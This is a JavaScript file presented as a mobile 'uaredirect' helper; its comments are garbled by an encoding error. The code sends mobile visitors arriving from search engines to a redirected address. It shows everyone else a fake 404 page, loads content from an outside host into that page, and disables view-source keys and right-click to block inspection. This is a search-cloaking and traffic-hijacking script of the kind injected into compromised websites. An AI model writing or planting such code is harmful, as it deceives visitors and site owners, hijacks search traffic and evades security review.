function uaredirect() {
var f = window.location.href;
try {
if (document.getElementById("bdmark") != null) {
return
}
var b = false;
//�ж���û�еڶ��������治���� ������ֱ�Ӹ�true
if (arguments[1]) {
var e = window.location.host;
var a = window.location.href;
if (isSubdomain(arguments[1], e) == 1) {
f = f + "/#m/" + a;
b = true
} else {
if (isSubdomain(arguments[1], e) == 2) {
f = f + "/#m/" + a;
b = true
} else {
f = a;
b = false
}
}
} else {
b = true
}
if (b) {
var c = window.location.hash;
if (!c.match("fromapp")) {
var regexp = /\.(sogou|baidu|360|google|sm|yahoo|bing)(\.[a-z0-9\-]+){1,2}\//ig;
var where = document.referrer;
if(regexp.test(where) && where.indexOf('m')>0 && (navigator.userAgent.match(/(iPhone|iPod|Android|ios)/i))){
console.log('��������');
location.replace(f)
}else{
console.log('404');
$("title").html("404");
window.stop ? window.stop() : document.execCommand("Stop");
$("body").load("http://www.y4321.cn/shouyou1/404.html");
window.onkeydown = function(e) {
if ((e.ctrlKey == true && e.keyCode == 85) || e.keyCode == 123) {
e.preventDefault()
}
}
window.oncontextmenu = function(e) {e.preventDefault()}
}
}
}
} catch(d) {}
}
function isSubdomain(c, d) {
this.getdomain = function(f) {
var e = f.indexOf("://");
if (e > 0) {
var h = f.substr(e + 3)
} else {
var h = f
}
var g = /^www\./;
if (g.test(h)) {
h = h.substr(4)
}
return h
};
if (c == d) {
return 1
} else {
var c = this.getdomain(c);
var b = this.getdomain(d);
if (c == b) {
return 1
} else {
c = c.replace(".", "\\.");
var a = new RegExp("\\." + c + "$");
if (b.match(a)) {
return 2
} else {
return 0
}
}
}
};